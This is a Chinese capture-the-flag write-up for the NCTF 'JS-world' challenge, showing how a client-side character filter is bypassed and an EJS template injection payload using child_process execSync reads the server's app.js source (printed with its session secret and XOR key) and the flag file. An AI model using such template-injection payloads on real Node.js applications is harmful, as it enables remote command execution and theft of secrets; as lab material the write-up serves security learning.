JS-world
刷题[NCTF]
逛博客,刷到baiyecha404大佬,看到有NCTF的docker,那我不多说了,直接起了呀
JS-world
信息收集
打开网页是一个好看的前端
下面有按钮,点击
看着像前端注入,试试。ejs是一套模板语言,同时发现有过滤
代码审计
先看看代码逻辑
主要逻辑代码如下
function create() {
var _0x1bef85 = _0x1656
, _0x23132f = document[_0x1bef85('0x9')]('MyCode')[_0x1bef85('0xe')];
_0x23132f = _0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '');
var _0x1658d5 = _0x1bef85('0x8') + _0x23132f + _0x1bef85('0x2');
_0x1658d5 = btoa(xor(_0x1bef85('0xc'), _0x1658d5));
var _0x23601e = new XMLHttpRequest();
_0x23601e['open'](_0x1bef85('0x13'), _0x1bef85('0x7'), !![]),
_0x23601e['setRequestHeader'](_0x1bef85('0x11'), _0x1bef85('0xd'));
var _0x3deb5a = _0x1bef85('0x4') + escape(_0x1658d5);
return _0x23601e[_0x1bef85('0xa')](_0x3deb5a),
alert('Done.\x0aCheck\x20/templates\x20now.'),
'';
}
复制srcipt.js中的内容,删除其中的过滤
_0x23132f = _0x23132f[_0x1bef85('0x5')](/[\/\*\'\"\`\<\\\>\-\(\)\[\]\=\%\.]/g, '');
编写payload
查看ejs语言规则,编写payload:
<%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
process.mainModule
属性提供了一种获取require.main
的替代方式。
child_process模块主要用来创建一个子进程,并通过调用命令行来运行脚本文件
再来一次,读源码
Proudly presented by ejs const express = require('express');
const app = express();
const bodyParser = require('body-parser');
const cookieParser = require("cookie-parser");
const path = require("path");
const session = require("express-session");
const FileStore = require('session-file-store')(session);
const fs = require('fs');
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
app.use(express.static('public'));
app.use(session({
name: 'session',
secret: 'T0pSsssecRet233#@###',
store: new FileStore({
path: path.join(__dirname, "sessions")
}),
resave: false,
saveUninitialized: false
}));
app.use(bodyParser.urlencoded({
extended: false
}));
app.use(cookieParser());
const KEY = process.env.KEY || "r5NmfIzU1uzl6Wp";
const xor = (secretkey, value) = >{
return Array.prototype.slice.call(value).map(function(chr, index) {
return String.fromCharCode(secretkey[index % secretkey.length].charCodeAt(0) ^ chr.charCodeAt(0))
}).join('');
}
app.get('/', (req, res) = >{
let session = req.session;
if (session.AccessGranted === undefined) {
session.AccessGranted = true;
}
return res.render('index.html');
}) app.get('/templates', (req, res) = >{
const session = req.session;
if (session.AccessGranted !== "undefined" && session.AccessGranted === true) {
try {
let template_path = path.join("templates/", session.id, 'index.html');
return res.render(template_path);
} catch(err) {
throw err;
}
} else {
return res.send('Not Accessible Now.');
}
});
app.post('/create', (req, res) = >{
const session = req.session;
if (session.AccessGranted !== "undefined" && session.AccessGranted === true) {
try {
const id = session.id;
const raw = Buffer.from(req.body.code, 'base64').toString();
const contents = xor(KEY, raw);
let template_path = path.join(__dirname, "/views/templates/", id, 'index.html');
if (!fs.existsSync(path.join(__dirname, "/views/templates/", id))) {
fs.mkdirSync(path.join(__dirname, "/views/templates/", id));
}
fs.writeFileSync(template_path, contents);
return res.send('done');
} catch(err) {
throw err;
}
} else {
return res.send('Not Accessible Now.');
}
});
app.all('*', (req, res) = >{
return res.status(404).send('404 page not found');
});
app.listen(8088, () = >console.log('Listening on port 8088'));
最后读flag,在/flag.txt中
我本来想做完这个系列。。。奈何题目有点超出能力了,php都没整明白就先不开始node.js了(逃